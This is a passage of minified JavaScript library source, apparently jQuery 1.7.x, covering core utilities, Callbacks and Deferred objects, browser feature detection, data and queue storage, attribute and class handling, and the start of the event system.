d},noop:function(){},globalEval:function(b){b&&j.test(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(w,"ms-").replace(v,x)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,c,d){var f,g=0,h=a.length,i=h===b||e.isFunction(a);if(d){if(i){for(f in a)if(c.apply(a[f],d)===!1)break}else for(;g<h;)if(c.apply(a[g++],d)===!1)break}else if(i){for(f in a)if(c.call(a[f],f,a[f])===!1)break}else for(;g<h;)if(c.call(a[g],g,a[g++])===!1)break;return a},trim:G?function(a){return a==null?"":G.call(a)}:function(a){return a==null?"":(a+"").replace(k,"").replace(l,"")},makeArray:function(a,b){var c=b||[];if(a!=null){var d=e.type(a);a.length==null||d==="string"||d==="function"||d==="regexp"||e.isWindow(a)?E.call(c,a):e.merge(c,a)}return c},inArray:function(a,b,c){var d;if(b){if(H)return H.call(b,a,c);d=b.length,c=c?c<0?Math.max(0,d+c):c:0;for(;c<d;c++)if(c in b&&b[c]===a)return c}return-1},merge:function(a,c){var d=a.length,e=0;if(typeof c.length=="number")for(var f=c.length;e<f;e++)a[d++]=c[e];else while(c[e]!==b)a[d++]=c[e++];a.length=d;return a},grep:function(a,b,c){var d=[],e;c=!!c;for(var f=0,g=a.length;f<g;f++)e=!!b(a[f],f),c!==e&&d.push(a[f]);return d},map:function(a,c,d){var f,g,h=[],i=0,j=a.length,k=a instanceof e||j!==b&&typeof j=="number"&&(j>0&&a[0]&&a[j-1]||j===0||e.isArray(a));if(k)for(;i<j;i++)f=c(a[i],i,d),f!=null&&(h[h.length]=f);else for(g in a)f=c(a[g],g,d),f!=null&&(h[h.length]=f);return h.concat.apply([],h)},guid:1,proxy:function(a,c){if(typeof c=="string"){var d=a[c];c=a,a=d}if(!e.isFunction(a))return b;var f=F.call(arguments,2),g=function(){return a.apply(c,f.concat(F.call(arguments)))};g.guid=a.guid=a.guid||g.guid||e.guid++;return g},access:function(a,c,d,f,g,h,i){var j,k=d==null,l=0,m=a.length;if(d&&typeof d=="object"){for(l in d)e.access(a,c,l,d[l],1,h,f);g=1}else if(f!==b){j=i===b&&e.isFunction(f),k&&(j?(j=c,c=function(a,b,c){return j.call(e(a),c)}):(c.call(a,f),c=null));if(c)for(;l<m;l++)c(a[l],d,j?f.call(a[l],l,c(a[l],d)):f,i);g=1}return g?a:k?c.call(a):m?c(a[0],d):h},now:function(){return(new Date).getTime()},uaMatch:function(a){a=a.toLowerCase();var b=r.exec(a)||s.exec(a)||t.exec(a)||a.indexOf("compatible")<0&&u.exec(a)||[];return{browser:b[1]||"",version:b[2]||"0"}},sub:function(){function a(b,c){return new a.fn.init(b,c)}e.extend(!0,a,this),a.superclass=this,a.fn=a.prototype=this(),a.fn.constructor=a,a.sub=this.sub,a.fn.init=function(d,f){f&&f instanceof e&&!(f instanceof a)&&(f=a(f));return e.fn.init.call(this,d,f,b)},a.fn.init.prototype=a.fn;var b=a(c);return a},browser:{}}),e.each("Boolean Number String Function Array Date RegExp Object".split(" "),function(a,b){I["[object "+b+"]"]=b.toLowerCase()}),z=e.uaMatch(y),z.browser&&(e.browser[z.browser]=!0,e.browser.version=z.version),e.browser.webkit&&(e.browser.safari=!0),j.test(" ")&&(k=/^[\s\xA0]+/,l=/[\s\xA0]+$/),h=e(c),c.addEventListener?B=function(){c.removeEventListener("DOMContentLoaded",B,!1),e.ready()}:c.attachEvent&&(B=function(){c.readyState==="complete"&&(c.detachEvent("onreadystatechange",B),e.ready())});return e}(),g={};f.Callbacks=function(a){a=a?g[a]||h(a):{};var c=[],d=[],e,i,j,k,l,m,n=function(b){var d,e,g,h,i;for(d=0,e=b.length;d<e;d++)g=b[d],h=f.type(g),h==="array"?n(g):h==="function"&&(!a.unique||!p.has(g))&&c.push(g)},o=function(b,f){f=f||[],e=!a.memory||[b,f],i=!0,j=!0,m=k||0,k=0,l=c.length;for(;c&&m<l;m++)if(c[m].apply(b,f)===!1&&a.stopOnFalse){e=!0;break}j=!1,c&&(a.once?e===!0?p.disable():c=[]:d&&d.length&&(e=d.shift(),p.fireWith(e[0],e[1])))},p={add:function(){if(c){var a=c.length;n(arguments),j?l=c.length:e&&e!==!0&&(k=a,o(e[0],e[1]))}return this},remove:function(){if(c){var b=arguments,d=0,e=b.length;for(;d<e;d++)for(var f=0;f<c.length;f++)if(b[d]===c[f]){j&&f<=l&&(l--,f<=m&&m--),c.splice(f--,1);if(a.unique)break}}return this},has:function(a){if(c){var b=0,d=c.length;for(;b<d;b++)if(a===c[b])return!0}return!1},empty:function(){c=[];return this},disable:function(){c=d=e=b;return this},disabled:function(){return!c},lock:function(){d=b,(!e||e===!0)&&p.disable();return this},locked:function(){return!d},fireWith:function(b,c){d&&(j?a.once||d.push([b,c]):(!a.once||!e)&&o(b,c));return this},fire:function(){p.fireWith(this,arguments);return this},fired:function(){return!!i}};return p};var i=[].slice;f.extend({Deferred:function(a){var b=f.Callbacks("once memory"),c=f.Callbacks("once memory"),d=f.Callbacks("memory"),e="pending",g={resolve:b,reject:c,notify:d},h={done:b.add,fail:c.add,progress:d.add,state:function(){return e},isResolved:b.fired,isRejected:c.fired,then:function(a,b,c){i.done(a).fail(b).progress(c);return this},always:function(){i.done.apply(i,arguments).fail.apply(i,arguments);return this},pipe:function(a,b,c){return f.Deferred(function(d){f.each({done:[a,"resolve"],fail:[b,"reject"],progress:[c,"notify"]},function(a,b){var c=b[0],e=b[1],g;f.isFunction(c)?i[a](function(){g=c.apply(this,arguments),g&&f.isFunction(g.promise)?g.promise().then(d.resolve,d.reject,d.notify):d[e+"With"](this===i?d:this,[g])}):i[a](d[e])})}).promise()},promise:function(a){if(a==null)a=h;else for(var b in h)a[b]=h[b];return a}},i=h.promise({}),j;for(j in g)i[j]=g[j].fire,i[j+"With"]=g[j].fireWith;i.done(function(){e="resolved"},c.disable,d.lock).fail(function(){e="rejected"},b.disable,d.lock),a&&a.call(i,i);return i},when:function(a){function m(a){return function(b){e[a]=arguments.length>1?i.call(arguments,0):b,j.notifyWith(k,e)}}function l(a){return function(c){b[a]=arguments.length>1?i.call(arguments,0):c,--g||j.resolveWith(j,b)}}var b=i.call(arguments,0),c=0,d=b.length,e=Array(d),g=d,h=d,j=d<=1&&a&&f.isFunction(a.promise)?a:f.Deferred(),k=j.promise();if(d>1){for(;c<d;c++)b[c]&&b[c].promise&&f.isFunction(b[c].promise)?b[c].promise().then(l(c),j.reject,m(c)):--g;g||j.resolveWith(j,b)}else j!==a&&j.resolveWith(j,d?[a]:[]);return k}}),f.support=function(){var b,d,e,g,h,i,j,k,l,m,n,o,p=c.createElement("div"),q=c.documentElement;p.setAttribute("className","t"),p.innerHTML="   <link/><table></table><a href='/a' style='top:1px;float:left;opacity:.55;'>a</a><input type='checkbox'/>",d=p.getElementsByTagName("*"),e=p.getElementsByTagName("a")[0];if(!d||!d.length||!e)return{};g=c.createElement("select"),h=g.appendChild(c.createElement("option")),i=p.getElementsByTagName("input")[0],b={leadingWhitespace:p.firstChild.nodeType===3,tbody:!p.getElementsByTagName("tbody").length,htmlSerialize:!!p.getElementsByTagName("link").length,style:/top/.test(e.getAttribute("style")),hrefNormalized:e.getAttribute("href")==="/a",opacity:/^0.55/.test(e.style.opacity),cssFloat:!!e.style.cssFloat,checkOn:i.value==="on",optSelected:h.selected,getSetAttribute:p.className!=="t",enctype:!!c.createElement("form").enctype,html5Clone:c.createElement("nav").cloneNode(!0).outerHTML!=="<:nav></:nav>",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0,pixelMargin:!0},f.boxModel=b.boxModel=c.compatMode==="CSS1Compat",i.checked=!0,b.noCloneChecked=i.cloneNode(!0).checked,g.disabled=!0,b.optDisabled=!h.disabled;try{delete p.test}catch(r){b.deleteExpando=!1}!p.addEventListener&&p.attachEvent&&p.fireEvent&&(p.attachEvent("onclick",function(){b.noCloneEvent=!1}),p.cloneNode(!0).fireEvent("onclick")),i=c.createElement("input"),i.value="t",i.setAttribute("type","radio"),b.radioValue=i.value==="t",i.setAttribute("checked","checked"),i.setAttribute("name","t"),p.appendChild(i),j=c.createDocumentFragment(),j.appendChild(p.lastChild),b.checkClone=j.cloneNode(!0).cloneNode(!0).lastChild.checked,b.appendChecked=i.checked,j.removeChild(i),j.appendChild(p);if(p.attachEvent)for(n in{submit:1,change:1,focusin:1})m="on"+n,o=m in p,o||(p.setAttribute(m,"return;"),o=typeof p[m]=="function"),b[n+"Bubbles"]=o;j.removeChild(p),j=g=h=p=i=null,f(function(){var d,e,g,h,i,j,l,m,n,q,r,s,t,u=c.getElementsByTagName("body")[0];!u||(m=1,t="padding:0;margin:0;border:",r="position:absolute;top:0;left:0;width:1px;height:1px;",s=t+"0;visibility:hidden;",n="style='"+r+t+"5px solid #000;",q="<div "+n+"display:block;'><div style='"+t+"0;display:block;overflow:hidden;'></div></div>"+"<table "+n+"' cellpadding='0' cellspacing='0'>"+"<tr><td></td></tr></table>",d=c.createElement("div"),d.style.cssText=s+"width:0;height:0;position:static;top:0;margin-top:"+m+"px",u.insertBefore(d,u.firstChild),p=c.createElement("div"),d.appendChild(p),p.innerHTML="<table><tr><td style='"+t+"0;display:none'></td><td>t</td></tr></table>",k=p.getElementsByTagName("td"),o=k[0].offsetHeight===0,k[0].style.display="",k[1].style.display="none",b.reliableHiddenOffsets=o&&k[0].offsetHeight===0,a.getComputedStyle&&(p.innerHTML="",l=c.createElement("div"),l.style.width="0",l.style.marginRight="0",p.style.width="2px",p.appendChild(l),b.reliableMarginRight=(parseInt((a.getComputedStyle(l,null)||{marginRight:0}).marginRight,10)||0)===0),typeof p.style.zoom!="undefined"&&(p.innerHTML="",p.style.width=p.style.padding="1px",p.style.border=0,p.style.overflow="hidden",p.style.display="inline",p.style.zoom=1,b.inlineBlockNeedsLayout=p.offsetWidth===3,p.style.display="block",p.style.overflow="visible",p.innerHTML="<div style='width:5px;'></div>",b.shrinkWrapBlocks=p.offsetWidth!==3),p.style.cssText=r+s,p.innerHTML=q,e=p.firstChild,g=e.firstChild,i=e.nextSibling.firstChild.firstChild,j={doesNotAddBorder:g.offsetTop!==5,doesAddBorderForTableAndCells:i.offsetTop===5},g.style.position="fixed",g.style.top="20px",j.fixedPosition=g.offsetTop===20||g.offsetTop===15,g.style.position=g.style.top="",e.style.overflow="hidden",e.style.position="relative",j.subtractsBorderForOverflowNotVisible=g.offsetTop===-5,j.doesNotIncludeMarginInBodyOffset=u.offsetTop!==m,a.getComputedStyle&&(p.style.marginTop="1%",b.pixelMargin=(a.getComputedStyle(p,null)||{marginTop:0}).marginTop!=="1%"),typeof d.style.zoom!="undefined"&&(d.style.zoom=1),u.removeChild(d),l=p=d=null,f.extend(b,j))});return b}();var j=/^(?:\{.*\}|\[.*\])$/,k=/([A-Z])/g;f.extend({cache:{},uuid:0,expando:"jQuery"+(f.fn.jquery+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(a){a=a.nodeType?f.cache[a[f.expando]]:a[f.expando];return!!a&&!m(a)},data:function(a,c,d,e){if(!!f.acceptData(a)){var g,h,i,j=f.expando,k=typeof c=="string",l=a.nodeType,m=l?f.cache:a,n=l?a[j]:a[j]&&j,o=c==="events";if((!n||!m[n]||!o&&!e&&!m[n].data)&&k&&d===b)return;n||(l?a[j]=n=++f.uuid:n=j),m[n]||(m[n]={},l||(m[n].toJSON=f.noop));if(typeof c=="object"||typeof c=="function")e?m[n]=f.extend(m[n],c):m[n].data=f.extend(m[n].data,c);g=h=m[n],e||(h.data||(h.data={}),h=h.data),d!==b&&(h[f.camelCase(c)]=d);if(o&&!h[c])return g.events;k?(i=h[c],i==null&&(i=h[f.camelCase(c)])):i=h;return i}},removeData:function(a,b,c){if(!!f.acceptData(a)){var d,e,g,h=f.expando,i=a.nodeType,j=i?f.cache:a,k=i?a[h]:h;if(!j[k])return;if(b){d=c?j[k]:j[k].data;if(d){f.isArray(b)||(b in d?b=[b]:(b=f.camelCase(b),b in d?b=[b]:b=b.split(" ")));for(e=0,g=b.length;e<g;e++)delete d[b[e]];if(!(c?m:f.isEmptyObject)(d))return}}if(!c){delete j[k].data;if(!m(j[k]))return}f.support.deleteExpando||!j.setInterval?delete j[k]:j[k]=null,i&&(f.support.deleteExpando?delete a[h]:a.removeAttribute?a.removeAttribute(h):a[h]=null)}},_data:function(a,b,c){return f.data(a,b,c,!0)},acceptData:function(a){if(a.nodeName){var b=f.noData[a.nodeName.toLowerCase()];if(b)return b!==!0&&a.getAttribute("classid")===b}return!0}}),f.fn.extend({data:function(a,c){var d,e,g,h,i,j=this[0],k=0,m=null;if(a===b){if(this.length){m=f.data(j);if(j.nodeType===1&&!f._data(j,"parsedAttrs")){g=j.attributes;for(i=g.length;k<i;k++)h=g[k].name,h.indexOf("data-")===0&&(h=f.camelCase(h.substring(5)),l(j,h,m[h]));f._data(j,"parsedAttrs",!0)}}return m}if(typeof a=="object")return this.each(function(){f.data(this,a)});d=a.split(".",2),d[1]=d[1]?"."+d[1]:"",e=d[1]+"!";return f.access(this,function(c){if(c===b){m=this.triggerHandler("getData"+e,[d[0]]),m===b&&j&&(m=f.data(j,a),m=l(j,a,m));return m===b&&d[1]?this.data(d[0]):m}d[1]=c,this.each(function(){var b=f(this);b.triggerHandler("setData"+e,d),f.data(this,a,c),b.triggerHandler("changeData"+e,d)})},null,c,arguments.length>1,null,!1)},removeData:function(a){return this.each(function(){f.removeData(this,a)})}}),f.extend({_mark:function(a,b){a&&(b=(b||"fx")+"mark",f._data(a,b,(f._data(a,b)||0)+1))},_unmark:function(a,b,c){a!==!0&&(c=b,b=a,a=!1);if(b){c=c||"fx";var d=c+"mark",e=a?0:(f._data(b,d)||1)-1;e?f._data(b,d,e):(f.removeData(b,d,!0),n(b,c,"mark"))}},queue:function(a,b,c){var d;if(a){b=(b||"fx")+"queue",d=f._data(a,b),c&&(!d||f.isArray(c)?d=f._data(a,b,f.makeArray(c)):d.push(c));return d||[]}},dequeue:function(a,b){b=b||"fx";var c=f.queue(a,b),d=c.shift(),e={};d==="inprogress"&&(d=c.shift()),d&&(b==="fx"&&c.unshift("inprogress"),f._data(a,b+".run",e),d.call(a,function(){f.dequeue(a,b)},e)),c.length||(f.removeData(a,b+"queue "+b+".run",!0),n(a,b,"queue"))}}),f.fn.extend({queue:function(a,c){var d=2;typeof a!="string"&&(c=a,a="fx",d--);if(arguments.length<d)return f.queue(this[0],a);return c===b?this:this.each(function(){var b=f.queue(this,a,c);a==="fx"&&b[0]!=="inprogress"&&f.dequeue(this,a)})},dequeue:function(a){return this.each(function(){f.dequeue(this,a)})},delay:function(a,b){a=f.fx?f.fx.speeds[a]||a:a,b=b||"fx";return this.queue(b,function(b,c){var d=setTimeout(b,a);c.stop=function(){clearTimeout(d)}})},clearQueue:function(a){return this.queue(a||"fx",[])},promise:function(a,c){function m(){--h||d.resolveWith(e,[e])}typeof a!="string"&&(c=a,a=b),a=a||"fx";var d=f.Deferred(),e=this,g=e.length,h=1,i=a+"defer",j=a+"queue",k=a+"mark",l;while(g--)if(l=f.data(e[g],i,b,!0)||(f.data(e[g],j,b,!0)||f.data(e[g],k,b,!0))&&f.data(e[g],i,f.Callbacks("once memory"),!0))h++,l.add(m);m();return d.promise(c)}});var o=/[\n\t\r]/g,p=/\s+/,q=/\r/g,r=/^(?:button|input)$/i,s=/^(?:button|input|object|select|textarea)$/i,t=/^a(?:rea)?$/i,u=/^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,v=f.support.getSetAttribute,w,x,y;f.fn.extend({attr:function(a,b){return f.access(this,f.attr,a,b,arguments.length>1)},removeAttr:function(a){return this.each(function(){f.removeAttr(this,a)})},prop:function(a,b){return f.access(this,f.prop,a,b,arguments.length>1)},removeProp:function(a){a=f.propFix[a]||a;return this.each(function(){try{this[a]=b,delete this[a]}catch(c){}})},addClass:function(a){var b,c,d,e,g,h,i;if(f.isFunction(a))return this.each(function(b){f(this).addClass(a.call(this,b,this.className))});if(a&&typeof a=="string"){b=a.split(p);for(c=0,d=this.length;c<d;c++){e=this[c];if(e.nodeType===1)if(!e.className&&b.length===1)e.className=a;else{g=" "+e.className+" ";for(h=0,i=b.length;h<i;h++)~g.indexOf(" "+b[h]+" ")||(g+=b[h]+" ");e.className=f.trim(g)}}}return this},removeClass:function(a){var c,d,e,g,h,i,j;if(f.isFunction(a))return this.each(function(b){f(this).removeClass(a.call(this,b,this.className))});if(a&&typeof a=="string"||a===b){c=(a||"").split(p);for(d=0,e=this.length;d<e;d++){g=this[d];if(g.nodeType===1&&g.className)if(a){h=(" "+g.className+" ").replace(o," ");for(i=0,j=c.length;i<j;i++)h=h.replace(" "+c[i]+" "," ");g.className=f.trim(h)}else g.className=""}}return this},toggleClass:function(a,b){var c=typeof a,d=typeof b=="boolean";if(f.isFunction(a))return this.each(function(c){f(this).toggleClass(a.call(this,c,this.className,b),b)});return this.each(function(){if(c==="string"){var e,g=0,h=f(this),i=b,j=a.split(p);while(e=j[g++])i=d?i:!h.hasClass(e),h[i?"addClass":"removeClass"](e)}else if(c==="undefined"||c==="boolean")this.className&&f._data(this,"__className__",this.className),this.className=this.className||a===!1?"":f._data(this,"__className__")||""})},hasClass:function(a){var b=" "+a+" ",c=0,d=this.length;for(;c<d;c++)if(this[c].nodeType===1&&(" "+this[c].className+" ").replace(o," ").indexOf(b)>-1)return!0;return!1},val:function(a){var c,d,e,g=this[0];{if(!!arguments.length){e=f.isFunction(a);return this.each(function(d){var g=f(this),h;if(this.nodeType===1){e?h=a.call(this,d,g.val()):h=a,h==null?h="":typeof h=="number"?h+="":f.isArray(h)&&(h=f.map(h,function(a){return a==null?"":a+""})),c=f.valHooks[this.type]||f.valHooks[this.nodeName.toLowerCase()];if(!c||!("set"in c)||c.set(this,h,"value")===b)this.value=h}})}if(g){c=f.valHooks[g.type]||f.valHooks[g.nodeName.toLowerCase()];if(c&&"get"in c&&(d=c.get(g,"value"))!==b)return d;d=g.value;return typeof d=="string"?d.replace(q,""):d==null?"":d}}}}),f.extend({valHooks:{option:{get:function(a){var b=a.attributes.value;return!b||b.specified?a.value:a.text}},select:{get:function(a){var b,c,d,e,g=a.selectedIndex,h=[],i=a.options,j=a.type==="select-one";if(g<0)return null;c=j?g:0,d=j?g+1:i.length;for(;c<d;c++){e=i[c];if(e.selected&&(f.support.optDisabled?!e.disabled:e.getAttribute("disabled")===null)&&(!e.parentNode.disabled||!f.nodeName(e.parentNode,"optgroup"))){b=f(e).val();if(j)return b;h.push(b)}}if(j&&!h.length&&i.length)return f(i[g]).val();return h},set:function(a,b){var c=f.makeArray(b);f(a).find("option").each(function(){this.selected=f.inArray(f(this).val(),c)>=0}),c.length||(a.selectedIndex=-1);return c}}},attrFn:{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0},attr:function(a,c,d,e){var g,h,i,j=a.nodeType;if(!!a&&j!==3&&j!==8&&j!==2){if(e&&c in f.attrFn)return f(a)[c](d);if(typeof a.getAttribute=="undefined")return f.prop(a,c,d);i=j!==1||!f.isXMLDoc(a),i&&(c=c.toLowerCase(),h=f.attrHooks[c]||(u.test(c)?x:w));if(d!==b){if(d===null){f.removeAttr(a,c);return}if(h&&"set"in h&&i&&(g=h.set(a,d,c))!==b)return g;a.setAttribute(c,""+d);return d}if(h&&"get"in h&&i&&(g=h.get(a,c))!==null)return g;g=a.getAttribute(c);return g===null?b:g}},removeAttr:function(a,b){var c,d,e,g,h,i=0;if(b&&a.nodeType===1){d=b.toLowerCase().split(p),g=d.length;for(;i<g;i++)e=d[i],e&&(c=f.propFix[e]||e,h=u.test(e),h||f.attr(a,e,""),a.removeAttribute(v?e:c),h&&c in a&&(a[c]=!1))}},attrHooks:{type:{set:function(a,b){if(r.test(a.nodeName)&&a.parentNode)f.error("type property can't be changed");else if(!f.support.radioValue&&b==="radio"&&f.nodeName(a,"input")){var c=a.value;a.setAttribute("type",b),c&&(a.value=c);return b}}},value:{get:function(a,b){if(w&&f.nodeName(a,"button"))return w.get(a,b);return b in a?a.value:null},set:function(a,b,c){if(w&&f.nodeName(a,"button"))return w.set(a,b,c);a.value=b}}},propFix:{tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"},prop:function(a,c,d){var e,g,h,i=a.nodeType;if(!!a&&i!==3&&i!==8&&i!==2){h=i!==1||!f.isXMLDoc(a),h&&(c=f.propFix[c]||c,g=f.propHooks[c]);return d!==b?g&&"set"in g&&(e=g.set(a,d,c))!==b?e:a[c]=d:g&&"get"in g&&(e=g.get(a,c))!==null?e:a[c]}},propHooks:{tabIndex:{get:function(a){var c=a.getAttributeNode("tabindex");return c&&c.specified?parseInt(c.value,10):s.test(a.nodeName)||t.test(a.nodeName)&&a.href?0:b}}}}),f.attrHooks.tabindex=f.propHooks.tabIndex,x={get:function(a,c){var d,e=f.prop(a,c);return e===!0||typeof e!="boolean"&&(d=a.getAttributeNode(c))&&d.nodeValue!==!1?c.toLowerCase():b},set:function(a,b,c){var d;b===!1?f.removeAttr(a,c):(d=f.propFix[c]||c,d in a&&(a[d]=!0),a.setAttribute(c,c.toLowerCase()));return c}},v||(y={name:!0,id:!0,coords:!0},w=f.valHooks.button={get:function(a,c){var d;d=a.getAttributeNode(c);return d&&(y[c]?d.nodeValue!=="":d.specified)?d.nodeValue:b},set:function(a,b,d){var e=a.getAttributeNode(d);e||(e=c.createAttribute(d),a.setAttributeNode(e));return e.nodeValue=b+""}},f.attrHooks.tabindex.set=w.set,f.each(["width","height"],function(a,b){f.attrHooks[b]=f.extend(f.attrHooks[b],{set:function(a,c){if(c===""){a.setAttribute(b,"auto");return c}}})}),f.attrHooks.contenteditable={get:w.get,set:function(a,b,c){b===""&&(b="false"),w.set(a,b,c)}}),f.support.hrefNormalized||f.each(["href","src","width","height"],function(a,c){f.attrHooks[c]=f.extend(f.attrHooks[c],{get:function(a){var d=a.getAttribute(c,2);return d===null?b:d}})}),f.support.style||(f.attrHooks.style={get:function(a){return a.style.cssText.toLowerCase()||b},set:function(a,b){return a.style.cssText=""+b}}),f.support.optSelected||(f.propHooks.selected=f.extend(f.propHooks.selected,{get:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex);return null}})),f.support.enctype||(f.propFix.enctype="encoding"),f.support.checkOn||f.each(["radio","checkbox"],function(){f.valHooks[this]={get:function(a){return a.getAttribute("value")===null?"on":a.value}}}),f.each(["radio","checkbox"],function(){f.valHooks[this]=f.extend(f.valHooks[this],{set:function(a,b){if(f.isArray(b))return a.checked=f.inArray(f(a).val(),b)>=0}})});var z=/^(?:textarea|input|select)$/i,A=/^([^\.]*)?(?:\.(.+))?$/,B=/(?:^|\s)hover(\.\S+)?\b/,C=/^key/,D=/^(?:mouse|contextmenu)|click/,E=/^(?:focusinfocus|focusoutblur)$/,F=/^(\w*)(?:#([\w\-]+))?(?:\.([\w\-]+))?$/,G=function(
-a){var b=F.exec(a);b&&(b[1]=(b[1]||"").toLowerCase(),b[3]=b[3]&&new RegExp("(?:^|\\s)"+b[3]+"(?:\\s|$)"));return b},H=function(a,b){var c=a.attributes||{};return(!b[1]||a.nodeName.toLowerCase()===b[1])&&(!b[2]||(c.id||{}).value===b[2])&&(!b[3]||b[3].test((c["class"]||{}).value))},I=function(a){return f.event.special.hover?a:a.replace(B,"mouseenter$1 mouseleave$1")};f.event={add:function(a,c,d,e,g){var h,i,j,k,l,m,n,o,p,q,r,s;if(!(a.nodeType===3||a.nodeType===8||!c||!d||!(h=f._data(a)))){d.handler&&(p=d,d=p.handler,g=p.selector),d.guid||(d.guid=f.guid++),j=h.events,j||(h.events=j={}),i=h.handle,i||(h.handle=i=function(a){return typeof f!="undefined"&&(!a||f.event.triggered!==a.type)?f.event.dispatch.apply(i.elem,arguments):b},i.elem=a),c=f.trim(I(c)).split(" ");for(k=0;k<c.length;k++){l=A.exec(c[k])||[],m=l[1],n=(l[2]||"").split(".").sort(),s=f.event.special[m]||{},m=(g?s.delegateType:s.bindType)||m,s=f.event.special[m]||{},o=f.extend({type:m,origType:l[1],data:e,handler:d,guid:d.guid,selector:g,quick:g&&G(g),namespace:n.join(".")},p),r=j[m];if(!r){r=j[m]=[],r.delegateCount=0;if(!s.setup||s.setup.call(a,e,n,i)===!1)a.addEventListener?a.addEventListener(m,i,!1):a.attachEvent&&a.attachEvent("on"+m,i)}s.add&&(s.add.call(a,o),o.handler.guid||(o.handler.guid=d.guid)),g?r.splice(r.delegateCount++,0,o):r.push(o),f.event.global[m]=!0}a=null}},global:{},remove:function(a,b,c,d,e){var g=f.hasData(a)&&f._data(a),h,i,j,k,l,m,n,o,p,q,r,s;if(!!g&&!!(o=g.events)){b=f.trim(I(b||"")).split(" ");for(h=0;h<b.length;h++){i=A.exec(b[h])||[],j=k=i[1],l=i[2];if(!j){for(j in o)f.event.remove(a,j+b[h],c,d,!0);continue}p=f.event.special[j]||{},j=(d?p.delegateType:p.bindType)||j,r=o[j]||[],m=r.length,l=l?new RegExp("(^|\\.)"+l.split(".").sort().join("\\.(?:.*\\.)?")+"(\\.|$)"):null;for(n=0;n<r.length;n++)s=r[n],(e||k===s.origType)&&(!c||c.guid===s.guid)&&(!l||l.test(s.namespace))&&(!d||d===s.selector||d==="**"&&s.selector)&&(r.splice(n--,1),s.selector&&r.delegateCount--,p.remove&&p.remove.call(a,s));r.length===0&&m!==r.length&&((!p.teardown||p.teardown.call(a,l)===!1)&&f.removeEvent(a,j,g.handle),delete o[j])}f.isEmptyObject(o)&&(q=g.handle,q&&(q.elem=null),f.removeData(a,["events","handle"],!0))}},customEvent:{getData:!0,setData:!0,changeData:!0},trigger:function(c,d,e,g){if(!e||e.nodeType!==3&&e.nodeType!==8){var h=c.type||c,i=[],j,k,l,m,n,o,p,q,r,s;if(E.test(h+f.event.triggered))return;h.indexOf("!")>=0&&(h=h.slice(0,-1),k=!0),h.indexOf(".")>=0&&(i=h.split("."),h=i.shift(),i.sort());if((!e||f.event.customEvent[h])&&!f.event.global[h])return;c=typeof c=="object"?c[f.expando]?c:new f.Event(h,c):new f.Event(h),c.type=h,c.isTrigger=!0,c.exclusive=k,c.namespace=i.join("."),c.namespace_re=c.namespace?new RegExp("(^|\\.)"+i.join("\\.(?:.*\\.)?")+"(\\.|$)"):null,o=h.indexOf(":")<0?"on"+h:"";if(!e){j=f.cache;for(l in j)j[l].events&&j[l].events[h]&&f.event.trigger(c,d,j[l].handle.elem,!0);return}c.result=b,c.target||(c.target=e),d=d!=null?f.makeArray(d):[],d.unshift(c),p=f.event.special[h]||{};if(p.trigger&&p.trigger.apply(e,d)===!1)return;r=[[e,p.bindType||h]];if(!g&&!p.noBubble&&!f.isWindow(e)){s=p.delegateType||h,m=E.test(s+h)?e:e.parentNode,n=null;for(;m;m=m.parentNode)r.push([m,s]),n=m;n&&n===e.ownerDocument&&r.push([n.defaultView||n.parentWindow||a,s])}for(l=0;l<r.length&&!c.isPropagationStopped();l++)m=r[l][0],c.type=r[l][1],q=(f._data(m,"events")||{})[c.type]&&f._data(m,"handle"),q&&q.apply(m,d),q=o&&m[o],q&&f.acceptData(m)&&q.apply(m,d)===!1&&c.preventDefault();c.type=h,!g&&!c.isDefaultPrevented()&&(!p._default||p._default.apply(e.ownerDocument,d)===!1)&&(h!=="click"||!f.nodeName(e,"a"))&&f.acceptData(e)&&o&&e[h]&&(h!=="focus"&&h!=="blur"||c.target.offsetWidth!==0)&&!f.isWindow(e)&&(n=e[o],n&&(e[o]=null),f.event.triggered=h,e[h](),f.event.triggered=b,n&&(e[o]=n));return c.result}},dispatch:function(c){c=f.event.fix(c||a.event);var d=(f._data(this,"events")||{})[c.type]||[],e=d.delegateCount,g=[].slice.call(arguments,0),h=!c.exclusive&&!c.namespace,i=f.event.special[c.type]||{},j=[],k,l,m,n,o,p,q,r,s,t,u;g[0]=c,c.delegateTarget=this;if(!i.preDispatch||i.preDispatch.call(this,c)!==!1){if(e&&(!c.button||c.type!=="click")){n=f(this),n.context=this.ownerDocument||this;for(m=c.target;m!=this;m=m.parentNode||this)if(m.disabled!==!0){p={},r=[],n[0]=m;for(k=0;k<e;k++)s=d[k],t=s.selector,p[t]===b&&(p[t]=s.quick?H(m,s.quick):n.is(t)),p[t]&&r.push(s);r.length&&j.push({elem:m,matches:r})}}d.length>e&&j.push({elem:this,matches:d.slice(e)});for(k=0;k<j.length&&!c.isPropagationStopped();k++){q=j[k],c.currentTarget=q.elem;for(l=0;l<q.matches.length&&!c.isImmediatePropagationStopped();l++){s=q.matches[l];if(h||!c.namespace&&!s.namespace||c.namespace_re&&c.namespace_re.test(s.namespace))c.data=s.data,c.handleObj=s,o=((f.event.special[s.origType]||{}).handle||s.handler).apply(q.elem,g),o!==b&&(c.result=o,o===!1&&(c.preventDefault(),c.stopPropagation()))}}i.postDispatch&&i.postDispatch.call(this,c);return c.result}},props:"attrChange attrName relatedNode srcElement altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(a,b){a.which==null&&(a.which=b.charCode!=null?b.charCode:b.keyCode);return a}},mouseHooks:{props:"button buttons clientX clientY fromElement offsetX offsetY pageX 